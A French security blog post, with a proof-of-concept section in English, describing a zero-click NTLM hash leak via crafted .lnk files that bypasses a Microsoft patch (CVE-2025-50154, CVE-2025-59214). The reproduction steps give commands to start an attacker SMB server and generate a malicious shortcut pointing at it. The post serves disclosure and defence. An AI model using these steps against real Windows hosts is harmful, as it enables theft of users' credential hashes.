CVE-2025-50154 : fuite NTLM zero-click et contournement d'un correctif Microsoft

Les fuites de hash NTLM restent l'une des classes de vulnérabilités les plus persistantes de l'écosystème Windows : un attaquant capable de forcer une machine à s'authentifier vers un serveur qu'il contrôle peut capturer un hash NTLM, puis tenter de le relayer ou de le casser hors ligne.

Microsoft avait déjà corrigé un vecteur de fuite NTLM connu. Ces travaux ont montré que ce correctif pouvait être contourné, via CVE-2025-50154, pour recréer les conditions d'une fuite, cette fois sans aucune interaction de l'utilisateur.

Pourquoi "zero-click" change tout

Une vulnérabilité zero-click supprime le dernier facteur de risque sur lequel repose souvent la défense : la vigilance humaine. Elle rend le vecteur exploitable à grande échelle, de façon automatisée, et beaucoup plus difficile à détecter en amont.

Divulgation responsable

Cette vulnérabilité a été signalée à Microsoft et documentée publiquement uniquement après la mise à disposition du correctif.

Ressource technique complète (dépôt GitHub)

Source : github.com/rubenformation/CVE-2025-50154. La preuve de concept ci-dessous couvre à la fois CVE-2025-50154 et CVE-2025-59214.

Description

While Microsoft released a security update addressing an icon-based NTLM hash disclosure vulnerability, a bypass still allows an attacker to retrieve NTLMv2-SSP hashes without user interaction.

The original vulnerability, recently patched, was a 0-click NTLM hash disclosure triggered when explorer.exe rendered the icon of a .lnk shortcut file whose icon was hosted on a remote SMB server. After the patch, explorer.exe no longer loads icons from remote SMB paths, preventing the automatic disclosure of NTLM hashes.

The patch for CVE-2025-50154 didn't work at all. This was reported again, and a new CVE was assigned: CVE-2025-59214. The proof of concept below is relevant to both CVEs.

By crafting a .lnk file with a default icon from shell32.dll and a target path pointing to a remote SMB-hosted binary file, explorer.exe still fetches the remote file to extract the PE icon from its RTGROUPICON and RT_ICON resources.

Requirements

• An SMB server controlled by the attacker (e.g. via impacket-smbserver).
• A binary to host on that share, used as a lure to extract the icon (e.g. Taskmgr.exe).
• The poc.ps1 script to generate the malicious .lnk file.
• A delivery method for the .lnk file (download, SMB share, etc.).

Reproduction steps

Start an SMB server on the attacker side:

# place the binary (e.g. Taskmgr.exe) in the directory, then start the SMB server.
impacket-smbserver share . -smb2support

Craft the malicious .lnk file with PowerShell on a separate machine, then deliver it to the victim (drive-by download, SMB share, etc.):

# replace the values with the target path, the SMB server IP, and the hosted file name. Triggering can take 20 to 30 seconds.
.\poc.ps1 -path "C:\users\user\desktop" -ip "<serverIP>" -share "<share>" -file "<payload.exe>"

explorer.exe automatically downloads the remote file to extract its icon, looking for RTICON and RTGROUP_ICON headers in the .rsrc section.

Notes

This code is for educational and research purposes only. The author takes no responsibility for any misuse of this code.

Ce qu'il faut retenir

• Un correctif de sécurité n'est pas toujours une fin en soi : il déplace parfois la surface d'attaque plutôt que de la supprimer.
• Le durcissement NTLM (désactivation quand c'est possible, SMB signing, Extended Protection for Authentication) reste une priorité, correctif ou non.
• Les environnements exposés à ce type de vecteur bénéficient d'une revue régulière, pas seulement d'un correctif ponctuel.

Ce contournement fait partie d'une série de recherches sur les fuites NTLM, dont CVE-2025-59214. Parlons de votre exposition à ce type de vecteur.